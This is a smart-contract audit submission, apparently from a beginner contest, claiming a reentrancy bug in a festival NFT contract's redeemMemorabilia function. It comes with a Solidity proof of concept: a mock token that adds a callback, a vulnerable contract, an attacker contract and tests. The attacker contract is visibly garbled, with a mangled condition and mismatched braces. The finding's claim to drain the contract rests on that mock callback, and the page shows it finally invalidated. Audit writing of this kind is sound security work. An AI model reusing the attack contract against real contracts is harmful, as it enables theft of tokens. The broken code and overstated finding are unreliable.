Beatland Festival

First Flight #44
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Impact: high
Likelihood: high
Invalid

The reentrancy attack point in the `FestivalPass::redeemMomrabilia` function allows to drain contract balance

[H-2] The reentrancy attack point in the FestivalPass::redeemMomrabilia function allows to drain contract balance

Description

The FestivalPass::redeemMemorabilia function does not follow CEI/FREI-PI and as a result, enables malicious participants to drain the contract balance. The code

// Redeem a memorabilia NFT from a collection
function redeemMemorabilia(uint256 collectionId) external {
MemorabiliaCollection storage collection = collections[collectionId];
require(collection.priceInBeat > 0, "Collection does not exist");
require(collection.isActive, "Collection not active");
require(collection.currentItemId < collection.maxSupply, "Collection sold out");
// Burn BEAT tokens
@> BeatToken(beatToken).burnFrom(msg.sender, collection.priceInBeat);
@>
// Generate unique token ID
@> uint256 itemId = collection.currentItemId++;
@> uint256 tokenId = encodeTokenId(collectionId, itemId);
// Store edition number
@> tokenIdToEdition[tokenId] = itemId;
// Mint the unique NFT
_mint(msg.sender, tokenId, 1, "");
emit MemorabiliaRedeemed(msg.sender, tokenId, collectionId, itemId);
}

Risk

Likelihood:

It is possible in the case of attempting to redeem more than 1 memorabilia token per attender

Impact:

Reentrancy vulnerability code in FestivalPass::redeemMemorabilia allows to potentially malicious users to attempt to exploit this funciton and drain the entire memorabilia's supply.

Proof of Concept

Let's assume the next scenario:

  1. Attacker sets up a contract with a vulnerability.

  2. Users enters the fesival.

  3. Attacker take part in the festival

  4. Attacker calls FestivalPass::redeemMemorabilia from their contract repeadetly, draining the contract balance.

Proof of Code

Let`s assume we have a mocking BeatToken contract which can mimicking the original contract

contract MockBeatToken {
mapping(address => uint256) public balances;
address public festivalContract;
function setFestivalContract(address _festival) external {
festivalContract = _festival;
}
function mint(address to, uint256 amount) external {
//require(msg.sender == festivalContract, "Only_Festival_Mint");
balances[to] += amount;
}
function burnFrom(address from, uint256 amount) external {
require(msg.sender == festivalContract, "Only_Festival_Burn");
require(balances[from] >= amount, "Insufficient balance");
balances[from] -= amount;
// This is where the reentrancy can happen - if 'from' is a contract,
// it could implement fallback/receive and re-enter the festival contract
if (from.code.length > 0) {
// Simulate callback that could trigger reentrancy
(bool success,) = from.call(abi.encodeWithSignature("tokenBurned(uint256)", amount));
// We don't revert on failure to mimic potential vulnerable implementations
}
}
function balanceOf(address account) external view returns (uint256) {
return balances[account];
}
}

Next we have a simplified Festival contract with a similar vulnerability

contract VulnerableFestival {
struct MemorabiliaCollection {
string name;
string baseUri;
uint256 priceInBeat;
uint256 maxSupply;
uint256 currentItemId;
bool isActive;
}
mapping(uint256 => MemorabiliaCollection) public collections;
mapping(uint256 => uint256) public tokenIdToEdition;
mapping(address => mapping(uint256 => uint256)) public balanceOf;
address public beatToken;
uint256 public nextCollectionId = 1;
event MemorabiliaRedeemed(address indexed collector, uint256 indexed tokenId, uint256 collectionId, uint256 itemId);
constructor(address _beatToken) {
beatToken = _beatToken;
}
function createMemorabiliaCollection(
string memory name,
string memory baseUri,
uint256 priceInBeat,
uint256 maxSupply,
bool activateNow
) external returns (uint256) {
uint256 collectionId = nextCollectionId++;
collections[collectionId] = MemorabiliaCollection({
name: name,
baseUri: baseUri,
priceInBeat: priceInBeat,
maxSupply: maxSupply,
currentItemId: 1,
isActive: activateNow
});
return collectionId;
}
// VULNERABLE FUNCTION - This is the function with reentrancy vulnerability
function redeemMemorabilia(uint256 collectionId) external {
MemorabiliaCollection storage collection = collections[collectionId];
require(collection.priceInBeat > 0, "Collection does not exist");
require(collection.isActive, "Collection not active");
require(collection.currentItemId <= collection.maxSupply, "Collection sold out");
// VULNERABILITY: External call before state changes
// This allows reentrancy through the burnFrom callback
MockBeatToken(beatToken).burnFrom(msg.sender, collection.priceInBeat);
// State changes happen after external call - this is the vulnerability
uint256 itemId = collection.currentItemId++;
uint256 tokenId = encodeTokenId(collectionId, itemId);
tokenIdToEdition[tokenId] = itemId;
balanceOf[msg.sender][tokenId] = 1;
emit MemorabiliaRedeemed(msg.sender, tokenId, collectionId, itemId);
}
function encodeTokenId(uint256 collectionId, uint256 itemId) public pure returns (uint256) {
return (collectionId << 128) + itemId;
}
function getCollectionInfo(uint256 collectionId) external view returns (
uint256 currentItemId,
uint256 maxSupply,
uint256 priceInBeat,
bool isActive
) {
MemorabiliaCollection storage collection = collections[collectionId];
return (collection.currentItemId, collection.maxSupply, collection.priceInBeat, collection.isActive);
}
}

We have contract which can simulate the attacker exploits this vulnerability. It has tokenBurned function is called when FestivalPass::burnFrom is executed

contract ReentrancyAttacker {
VulnerableFestival public festival;
MockBeatToken public beatToken;
uint256 public targetCollectionId;
uint256 public attackCount;
uint256 public maxAttacks = 5; // Limit to prevent infinite recursion in tests
constructor(address _festival, address _beatToken) {
festival = VulnerableFestival(_festival);
beatToken = MockBeatToken(_beatToken);
}
function setTarget(uint256 _collectionId) external {
targetCollectionId = _collectionId;
}
function attack() external {
attackCount = 0;
festival.redeemMemorabilia(targetCollectionId);
}
function tokenBurned(uint256 amount) external {
console.log("tokenBurned callback triggered, attack count:", attackCount);
if (attackCount = priceInBeat) {
console.log("Reentering redeemMemorabilia...");
festival.redeemMemorabilia(targetCollectionId);
}
}
}
function getTokenBalance(uint256 tokenId) external view returns (uint256) {
return festival.balanceOf(address(this), tokenId);
}
}

We have Test Contract to check out for the reentrancy cases

contract ReentrancyTest is Test {
MockBeatToken beatToken;
VulnerableFestival festival;
ReentrancyAttacker attacker;
function setUp() public {
// Deploy contracts
beatToken = new MockBeatToken();
festival = new VulnerableFestival(address(beatToken));
beatToken.setFestivalContract(address(festival));
attacker = new ReentrancyAttacker(address(festival), address(beatToken));
}
function testReentrancyAttack() public {
console.log("=== Starting Reentrancy Attack Test ===");
// Setup: Create a memorabilia collection
uint256 collectionId = festival.createMemorabiliaCollection(
"Limited Edition",
"ipfs://test",
100, // price in BEAT
5, // max supply
true // active
);
console.log("Created collection with ID:", collectionId);
// Give attacker enough BEAT tokens (more than needed for one redemption)
//vm.expectRevert("Only_Festival_Mint");
beatToken.mint(address(attacker), 1000);
console.log("Attacker BEAT balance:", beatToken.balanceOf(address(attacker)));
// Set the attack target
attacker.setTarget(collectionId);
// Get initial state
(uint256 initialCurrentItemId, uint256 maxSupply, uint256 priceInBeat, bool isActive) = festival.getCollectionInfo(collectionId);
console.log("Initial collection state:");
console.log(" Current Item ID:", initialCurrentItemId);
console.log(" Max Supply:", maxSupply);
console.log(" Price in BEAT:", priceInBeat);
console.log(" Is Active:", isActive);
// Execute the attack
console.log("\n=== Executing Attack ===");
attacker.attack();
// Check results
(uint256 finalCurrentItemId,,,) = festival.getCollectionInfo(collectionId);
uint256 finalBeatBalance = beatToken.balanceOf(address(attacker));
console.log("\n=== Attack Results ===");
console.log("Final Current Item ID:", finalCurrentItemId);
console.log("Items redeemed:", finalCurrentItemId - initialCurrentItemId);
console.log("Final BEAT balance:", finalBeatBalance);
console.log("BEAT tokens spent:", 1000 - finalBeatBalance);
console.log("Expected BEAT tokens spent for legitimate redemption:", priceInBeat);
// Verify the attack succeeded
uint256 itemsRedeemed = finalCurrentItemId - initialCurrentItemId;
uint256 beatSpent = 1000 - finalBeatBalance;
// The attack should have allowed multiple redemptions with only one payment
// Due to reentrancy, the state changes happen after each external call
console.log("\n=== Verification ===");
if (itemsRedeemed > 1 && beatSpent < itemsRedeemed * priceInBeat) {
console.log("V REENTRANCY ATTACK SUCCESSFUL!");
console.log(" - Redeemed", itemsRedeemed, "items");
console.log(" - Only paid for", beatSpent / priceInBeat, "items");
console.log(" - Saved", (itemsRedeemed * priceInBeat) - beatSpent, "BEAT tokens");
} else {
console.log("X Attack did not succeed as expected");
}
// Check individual token ownership
console.log("\n=== Token Ownership ===");
for (uint256 i = 1; i < finalCurrentItemId; i++) {
uint256 tokenId = festival.encodeTokenId(collectionId, i);
uint256 balance = attacker.getTokenBalance(tokenId);
console.log("Token ID"); console.log(tokenId); console.log("(item"); console.log(i); console.log("): balance =", balance);
}
// Assert the vulnerability was exploited
assertTrue(itemsRedeemed > 1, "Should have redeemed multiple items");
console.log("Beat spent:", beatSpent);
console.log("Items redeemed: ",itemsRedeemed);
console.log("Price in beatToken: ",priceInBeat);
assertTrue(beatSpent <= itemsRedeemed * priceInBeat, "Should have paid less than full price");
}
function testNormalRedemption() public {
console.log("\n=== Testing Normal Redemption (for comparison) ===");
// Create another collection for normal user
uint256 collectionId = festival.createMemorabiliaCollection(
"Normal Collection",
"ipfs://normal",
100,
5,
true
);
// Create a normal user
address normalUser = address(0x123);
beatToken.mint(normalUser, 200);
console.log("Normal user BEAT balance:", beatToken.balanceOf(normalUser));
// Normal redemption
vm.startPrank(normalUser);
festival.redeemMemorabilia(collectionId);
vm.stopPrank();
(uint256 currentItemId,,,) = festival.getCollectionInfo(collectionId);
uint256 finalBalance = beatToken.balanceOf(normalUser);
console.log("After normal redemption:");
console.log(" Current Item ID:", currentItemId);
console.log(" User BEAT balance:", finalBalance);
console.log(" BEAT tokens spent:", 200 - finalBalance);
assertEq(currentItemId, 2, "Should have incremented to 2");
assertEq(finalBalance, 100, "Should have spent exactly 100 BEAT");
}
}

Recommended Mitigation

To fix that issue we must to use CEI/FREI-PI: update the smartcontract's state at first. After that we can call BeatToken::burnFrom function

function redeemMemorabilia(uint256 collectionId) external {
...
- // Burn BEAT tokens
- BeatToken(beatToken).burnFrom(msg.sender, collection.priceInBeat);
- // Generate unique token ID
- uint256 itemId = collection.currentItemId++;
- uint256 tokenId = encodeTokenId(collectionId, itemId);
- // Store edition number
- tokenIdToEdition[tokenId] = itemId;
+ // Generate unique token ID
+ uint256 itemId = collection.currentItemId++;
+ uint256 tokenId = encodeTokenId(collectionId, itemId);
+ // Store edition number
+ tokenIdToEdition[tokenId] = itemId;
+ // Burn BEAT tokens
+ BeatToken(beatToken).burnFrom(msg.sender, collection.priceInBeat);
// Mint the unique NFT
...
}
  1. Using the OpenZeppelin's Reentrancy Guard

  2. Develop the custom mechanism to prevent reentrancy factor

Updates

Lead Judging Commences

inallhonesty Lead Judge 26 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Memorabilia distribution is unfair and can be exploited via frontrunning / reentrancy

Appeal created

inallhonesty Lead Judge 23 days ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity
Assigned finding tags:

Memorabilia distribution is unfair and can be exploited via frontrunning / reentrancy

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.